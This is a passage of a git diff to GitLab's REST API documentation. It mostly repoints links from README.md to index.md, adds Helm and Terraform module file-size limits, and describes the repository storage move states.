+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `ref` | string | yes | Reference to commit |
| `variables` | array | no | An array containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }]` |
@@ -263,7 +263,7 @@ POST /projects/:id/pipelines/:pipeline_id/retry
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
```shell
@@ -310,7 +310,7 @@ POST /projects/:id/pipelines/:pipeline_id/cancel
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
```shell
@@ -359,7 +359,7 @@ DELETE /projects/:id/pipelines/:pipeline_id
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
```shell
diff --git a/doc/api/plan_limits.md b/doc/api/plan_limits.md
index 105cf13f9de..c89c7b46d54 100644
--- a/doc/api/plan_limits.md
+++ b/doc/api/plan_limits.md
@@ -38,10 +38,12 @@ Example response:
{
"conan_max_file_size": 3221225472,
"generic_packages_max_file_size": 5368709120,
+ "helm_max_file_size": 5242880,
"maven_max_file_size": 3221225472,
"npm_max_file_size": 524288000,
"nuget_max_file_size": 524288000,
- "pypi_max_file_size": 3221225472
+ "pypi_max_file_size": 3221225472,
+ "terraform_module_max_file_size": 1073741824
}
```
@@ -58,10 +60,12 @@ PUT /application/plan_limits
| `plan_name` | string | yes | Name of the plan to update. |
| `conan_max_file_size` | integer | no | Maximum Conan package file size in bytes. |
| `generic_packages_max_file_size` | integer | no | Maximum generic package file size in bytes. |
+| `helm_max_file_size` | integer | no | Maximum Helm chart file size in bytes. |
| `maven_max_file_size` | integer | no | Maximum Maven package file size in bytes. |
| `npm_max_file_size` | integer | no | Maximum NPM package file size in bytes. |
| `nuget_max_file_size` | integer | no | Maximum NuGet package file size in bytes. |
| `pypi_max_file_size` | integer | no | Maximum PyPI package file size in bytes. |
+| `terraform_module_max_file_size` | integer | no | Maximum Terraform Module package file size in bytes. |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/plan_limits?plan_name=default&conan_max_file_size=3221225472"
@@ -73,9 +77,11 @@ Example response:
{
"conan_max_file_size": 3221225472,
"generic_packages_max_file_size": 5368709120,
+ "helm_max_file_size": 5242880,
"maven_max_file_size": 3221225472,
"npm_max_file_size": 524288000,
"nuget_max_file_size": 524288000,
- "pypi_max_file_size": 3221225472
+ "pypi_max_file_size": 3221225472,
+ "terraform_module_max_file_size": 1073741824
}
```
diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md
index c6bcaa1ae9c..7726261a329 100644
--- a/doc/api/project_badges.md
+++ b/doc/api/project_badges.md
@@ -31,7 +31,7 @@ GET /projects/:id/badges
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | no | Name of the badges to return (case-sensitive). |
```shell
@@ -73,7 +73,7 @@ GET /projects/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
```shell
@@ -103,7 +103,7 @@ POST /projects/:id/badges
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `link_url` | string | yes | URL of the badge link |
| `image_url` | string | yes | URL of the badge image |
| `name` | string | no | Name of the badge |
@@ -138,7 +138,7 @@ PUT /projects/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
| `link_url` | string | no | URL of the badge link |
| `image_url` | string | no | URL of the badge image |
@@ -172,7 +172,7 @@ DELETE /projects/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
```shell
@@ -189,7 +189,7 @@ GET /projects/:id/badges/render
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `link_url` | string | yes | URL of the badge link|
| `image_url` | string | yes | URL of the badge image |
diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md
index f31b3ccd0bb..2b4976510bb 100644
--- a/doc/api/project_clusters.md
+++ b/doc/api/project_clusters.md
@@ -22,7 +22,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
Example request:
@@ -92,7 +92,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
@@ -186,9 +186,9 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` |
| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` |
@@ -283,10 +283,10 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
| `name` | string | no | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/gitlab_managed_clusters.md#base-domain) of the cluster |
| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
| `enabled` | boolean | no | Determines if cluster is active or not |
| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster |
@@ -395,7 +395,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index b20ce9896dc..92b1558551d 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -31,7 +31,7 @@ POST /projects/:id/export
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `description` | string | no | Overrides the project description |
| `upload` | hash | no | Hash that contains the information to upload the exported project to a web server |
| `upload[url]` | string | yes | The URL to upload the project |
@@ -62,7 +62,7 @@ GET /projects/:id/export
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/export"
@@ -110,7 +110,7 @@ GET /projects/:id/export/download
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \
@@ -258,7 +258,7 @@ GET /projects/:id/import
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/import"
diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md
index 0b7193ad5bc..e596b25ca22 100644
--- a/doc/api/project_level_variables.md
+++ b/doc/api/project_level_variables.md
@@ -17,7 +17,7 @@ GET /projects/:id/variables
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables"
@@ -48,7 +48,7 @@ GET /projects/:id/variables/:key
| Attribute | Type | required | Description |
|-----------|---------|----------|-----------------------|
-| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
| `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). |
@@ -76,7 +76,7 @@ POST /projects/:id/variables
| Attribute | Type | required | Description |
|---------------------|---------|----------|-----------------------|
-| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed |
| `value` | string | yes | The `value` of a variable |
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
@@ -110,7 +110,7 @@ PUT /projects/:id/variables/:key
| Attribute | Type | required | Description |
|---------------------|---------|----------|-------------------------|
-| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
| `value` | string | yes | The `value` of a variable |
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
@@ -145,7 +145,7 @@ DELETE /projects/:id/variables/:key
| Attribute | Type | required | Description |
|-----------|---------|----------|-------------------------|
-| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
| `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). |
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index 31c306bb14f..fe2750fa4bf 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -16,19 +16,19 @@ for example.
As project repository storage moves are processed, they transition through different states. Values
of `state` are:
-- `initial`
-- `scheduled`
-- `started`
-- `finished`
-- `failed`
-- `replicated`
-- `cleanup failed`
+- `initial`: The record has been created but the background job has not yet been scheduled.
+- `scheduled`: The background job has been scheduled.
+- `started`: The project repositories are being copied to the destination storage.
+- `replicated`: The project has been moved.
+- `failed`: The project repositories failed to copy or the checksums did not match.
+- `finished`: The project has been moved and the repositories on the source storage have been deleted.
+- `cleanup failed`: The project has been moved but the repositories on the source storage could not be deleted.
To ensure data integrity, projects are put in a temporary read-only state for the
duration of the move. During this time, users receive a `The repository is temporarily
read-only. Please try again later.` message if they try to push new commits.
-This API requires you to [authenticate yourself](README.md#authentication) as an administrator.
+This API requires you to [authenticate yourself](index.md#authentication) as an administrator.
For other repository types see:
@@ -42,7 +42,7 @@ GET /project_repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Example request:
@@ -80,7 +80,7 @@ GET /projects/:project_id/repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Parameters:
diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md
index 156d3c57a43..0ac2297e3c1 100644
--- a/doc/api/project_snippets.md
+++ b/doc/api/project_snippets.md
@@ -36,7 +36,7 @@ GET /projects/:id/snippets
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
## Single snippet
@@ -48,7 +48,7 @@ GET /projects/:id/snippets/:snippet_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `snippet_id` (required) - The ID of a project's snippet
```json
@@ -85,7 +85,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------|
-| `id` | integer | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | Title of a snippet |
| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file |
| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet |
@@ -132,7 +132,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------|
-| `id` | integer | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `snippet_id` | integer | yes | The ID of a project's snippet |
| `title` | string | no | Title of a snippet |
| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file |
@@ -183,7 +183,7 @@ DELETE /projects/:id/snippets/:snippet_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `snippet_id` (required) - The ID of a project's snippet
Example request:
@@ -203,7 +203,7 @@ GET /projects/:id/snippets/:snippet_id/raw
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `snippet_id` (required) - The ID of a project's snippet
Example request:
@@ -223,7 +223,7 @@ GET /projects/:id/snippets/:snippet_id/files/:ref/:file_path/raw
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `snippet_id` (required) - The ID of a project's snippet
- `ref` (required) - The name of a branch, tag or commit, such as `main`
- `file_path` (required) - The URL-encoded path to the file, such as `snippet%2Erb`
@@ -247,7 +247,7 @@ GET /projects/:id/snippets/:snippet_id/user_agent_detail
| Attribute | Type | Required | Description |
|---------------|---------|----------|--------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
| `snippet_id` | Integer | yes | The ID of a snippet |
Example request:
diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md
index 6a987b60f64..a16bcc513f9 100644
--- a/doc/api/project_statistics.md
+++ b/doc/api/project_statistics.md
@@ -21,7 +21,7 @@ GET /projects/:id/statistics
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
Example response:
diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md
index 186b6a956a4..d4af0e8d78d 100644
--- a/doc/api/project_templates.md
+++ b/doc/api/project_templates.md
@@ -33,7 +33,7 @@ GET /projects/:id/templates/:type
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `type` | string | yes | The type of the template. Accepted values are: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, `merge_requests` |
Example response (licenses):
@@ -99,7 +99,7 @@ GET /projects/:id/templates/:type/:name
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `type` | string | yes| The type of the template. One of: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, or `merge_requests`. |
| `name` | string | yes | The key of the template, as obtained from the collection endpoint |
| `source_template_project_id` | integer | no | The project ID where a given template is being stored. This is useful when multiple templates from different projects have the same name. If multiple templates have the same name, the match from `closest ancestor` is returned if `source_template_project_id` is not specified |
diff --git a/doc/api/project_vulnerabilities.md b/doc/api/project_vulnerabilities.md
index 969ebe1f9c6..2035d17aa3f 100644
--- a/doc/api/project_vulnerabilities.md
+++ b/doc/api/project_vulnerabilities.md
@@ -14,7 +14,7 @@ This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
-Every API call to vulnerabilities must be [authenticated](README.md#authentication).
+Every API call to vulnerabilities must be [authenticated](index.md#authentication).
Vulnerability permissions inherit permissions from their project. If a project is
private, and a user isn't a member of the project to which the vulnerability
@@ -24,7 +24,7 @@ belongs, requests to that project returns a `404 Not Found` status code.
API results are paginated, and `GET` requests return 20 results at a time by default.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## List project vulnerabilities
@@ -40,7 +40,7 @@ GET /projects/:id/vulnerabilities
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/vulnerabilities"
@@ -117,7 +117,7 @@ POST /projects/:id/vulnerabilities?finding_id=<your_finding_id>
| Attribute | Type | Required | Description |
| ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) which the authenticated user is a member of |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) which the authenticated user is a member of |
| `finding_id` | integer or string | yes | The ID of a Vulnerability Finding to create the new Vulnerability from |
The other attributes of a newly created Vulnerability are populated from
diff --git a/doc/api/projects.md b/doc/api/projects.md
index e5cb2c8e1eb..72de8ab6844 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -4,7 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Projects API
+# Projects API **(FREE)**
+
+Interact with [projects](../user/project/index.md) using the REST API.
## Project visibility level
@@ -58,7 +60,7 @@ GET /projects
| `simple` | boolean | **{dotted-circle}** No | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned. |
| `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. |
| `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. |
-| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
+| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. |
| `topic` | string | **{dotted-circle}** No | Comma-separated topic names. Limit results to projects that match all of given topics. See `topics` attribute. |
| `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. |
| `wiki_checksum_failed` **(PREMIUM)** | boolean | **{dotted-circle}** No | Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2). |
@@ -67,7 +69,7 @@ GET /projects
| `with_merge_requests_enabled` | boolean | **{dotted-circle}** No | Limit by enabled merge requests feature. |
| `with_programming_language` | string | **{dotted-circle}** No | Limit by projects which use the given programming language. |
-This endpoint supports [keyset pagination](README.md#keyset-based-pagination)
+This endpoint supports [keyset pagination](index.md#keyset-based-pagination)
for selected `order_by` options.
When `simple=true` or the user is unauthenticated this returns something like:
@@ -345,9 +347,9 @@ GET /projects?custom_attributes[key]=value&custom_attributes[other_key]=other_va
### Pagination limits
-In GitLab 13.0 and later, [offset-based pagination](README.md#offset-based-pagination)
+In GitLab 13.0 and later, [offset-based pagination](index.md#offset-based-pagination)
is [limited to 50,000 records](https://gitlab.com/gitlab-org/gitlab/-/issues/34565).
-[Keyset pagination](README.md#keyset-based-pagination) is required to retrieve
+[Keyset pagination](index.md#keyset-based-pagination) is required to retrieve
projects beyond this limit.
Keyset pagination supports only `order_by=id`. Other sorting options aren't available.
@@ -357,7 +359,7 @@ Keyset pagination supports only `order_by=id`. Other sorting options aren't avai
Get a list of visible projects owned by the given user. When accessed without
authentication, only public projects are returned.
-This endpoint supports [keyset pagination](README.md#keyset-based-pagination)
+This endpoint supports [keyset pagination](index.md#keyset-based-pagination)
for selected `order_by` options.
```plaintext
@@ -377,7 +379,7 @@ GET /users/:user_id/projects
| `simple` | boolean | **{dotted-circle}** No | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned. |
| `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. |
| `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. |
-| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
+| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. |
| `user_id` | string | **{check-circle}** Yes | The ID or username of the user. |
| `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
@@ -610,7 +612,7 @@ GET /users/:user_id/starred_projects
| `simple` | boolean | **{dotted-circle}** No | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned.. |
| `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. |
| `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. |
-| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
+| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. |
| `user_id` | string | **{check-circle}** Yes | The ID or username of the user. |
| `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
@@ -827,9 +829,9 @@ GET /projects/:id
| Attribute | Type | Required | Description |
|--------------------------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `license` | boolean | **{dotted-circle}** No | Include project license data. |
-| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
+| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
```json
@@ -1080,7 +1082,7 @@ GET /projects/:id/users
| Attribute | Type | Required | Description |
|--------------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific users. |
| `skip_users` | integer array | **{dotted-circle}** No | Filter out users with the specified IDs. |
@@ -1115,7 +1117,7 @@ GET /projects/:id/groups
| Attribute | Type | Required | Description |
|-----------------------------|-------------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific groups. |
| `skip_groups` | array of integers | **{dotted-circle}** No | Skip the group IDs passed. |
| `with_shared` | boolean | **{dotted-circle}** No | Include projects shared with this group. Default is `false`. |
@@ -1326,7 +1328,7 @@ PUT /projects/:id
| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. |
| `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
-| `ci_default_git_depth` | integer | **{dotted-circle}** No | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#git-shallow-clone). |
+| `ci_default_git_depth` | integer | **{dotted-circle}** No | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone). |
| `ci_forward_deployment_enabled` | boolean | **{dotted-circle}** No | When a new deployment job starts, [skip older deployment jobs](../ci/pipelines/settings.md#skip-outdated-deployment-jobs) that are still pending |
